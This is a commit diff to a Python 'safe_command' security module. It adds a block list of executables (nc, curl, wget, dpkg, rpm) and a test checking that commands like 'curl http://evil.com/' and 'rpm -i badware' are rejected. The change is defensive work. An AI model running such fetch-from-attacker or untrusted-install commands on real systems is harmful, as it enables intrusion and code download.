Skip to content

Commit 87dea0d

Browse files
committed
implement banned exc
1 parent 3b4cfe1 commit 87dea0d

File tree

2 files changed

+23
-0
lines changed

2 files changed

+23
-0
lines changed

src/security/safe_command/api.py

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,8 @@
1919
)
2020
)
2121

22+
BANNED_EXECUTABLES = frozenset(("nc", "curl", "wget", "dpkg", "rpm"))
23+
2224

2325
def run(original_func, command, *args, restrictions=DEFAULT_CHECKS, **kwargs):
2426
check(command, restrictions)
@@ -49,6 +51,9 @@ def check(command, restrictions):
4951
if "PREVENT_COMMAND_CHAINING" in restrictions:
5052
check_multiple_commands(command)
5153

54+
if "PREVENT_COMMON_EXPLOIT_EXECUTABLES" in restrictions:
55+
check_banned_executable(parsed_command)
56+
5257

5358
def check_sensitive_files(parsed_command: list):
5459
for cmd in parsed_command:
@@ -67,3 +72,8 @@ def check_multiple_commands(command: str):
6772
if isinstance(command, list):
6873
if any(cmd in separators for cmd in command):
6974
raise SecurityException("Multiple commands not allowed: %s", command)
75+
76+
77+
def check_banned_executable(parsed_command: list):
78+
if any(cmd in BANNED_EXECUTABLES for cmd in parsed_command):
79+
raise SecurityException("Disallowed command: %s", parsed_command)

tests/safe_command/test_api.py

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -69,3 +69,16 @@ def test_blocks_command_chaining(self, command, original_func):
6969
with pytest.raises(SecurityException) as err:
7070
safe_command.run(original_func, command)
7171
assert err.value.args[0] == "Multiple commands not allowed: %s"
72+
73+
@pytest.mark.parametrize(
74+
"command",
75+
["rpm -i badware", "curl http://evil.com/", "wget http://evil.com/"],
76+
)
77+
def test_blocks_banned_exc(self, command, original_func):
78+
with pytest.raises(SecurityException) as err:
79+
safe_command.run(
80+
original_func,
81+
command,
82+
restrictions=["PREVENT_COMMON_EXPLOIT_EXECUTABLES"],
83+
)
84+
assert err.value.args[0] == "Disallowed command: %s"

0 commit comments

Comments
 (0)